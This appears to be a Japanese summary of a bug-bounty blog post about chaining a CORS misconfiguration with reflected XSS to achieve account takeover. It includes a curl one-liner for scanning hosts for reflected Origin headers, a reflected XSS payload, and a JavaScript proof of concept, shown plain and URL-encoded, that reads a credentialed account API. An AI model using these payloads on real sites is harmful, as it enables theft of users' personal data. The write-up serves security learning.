Chaining CORS by Reflected xss to Account takeover #My first Blog からCORSを学ぶ

ソース:

medium.com

脆弱性:CORS、XSS

 

訳:

CORS バグを探す私のワークフローは次のとおりです。

 

 

 

もしくは、

 

 

cat corstexturl.txt | soru -u | anew |while read host do ; do curl -s — path-as-is — insecure -H “Origin: test.com” “$host” | grep -qs “Access-control-allow-origin: test.com” && echo “$host \033[0;31m” cors Vulnerable;done

 

脆弱なエンドポイント

 

 

 

より大きな影響を与えるためにバグを連鎖させる:

ケース#2

 

https://test.attacker.com/patter.jsp?acct= "><script>alert(document.domain)</script> 

 

POC時間:

 

function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.attacker.com/api/account", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();

 

以下の様に。

 

https://test.attacker.com/patter.jsp?facct="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.attacker.com/api/account",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>

 

私たちは漏洩した個人情報に関する素晴らしい PoC を完成させました。 

 

 

ほなほな。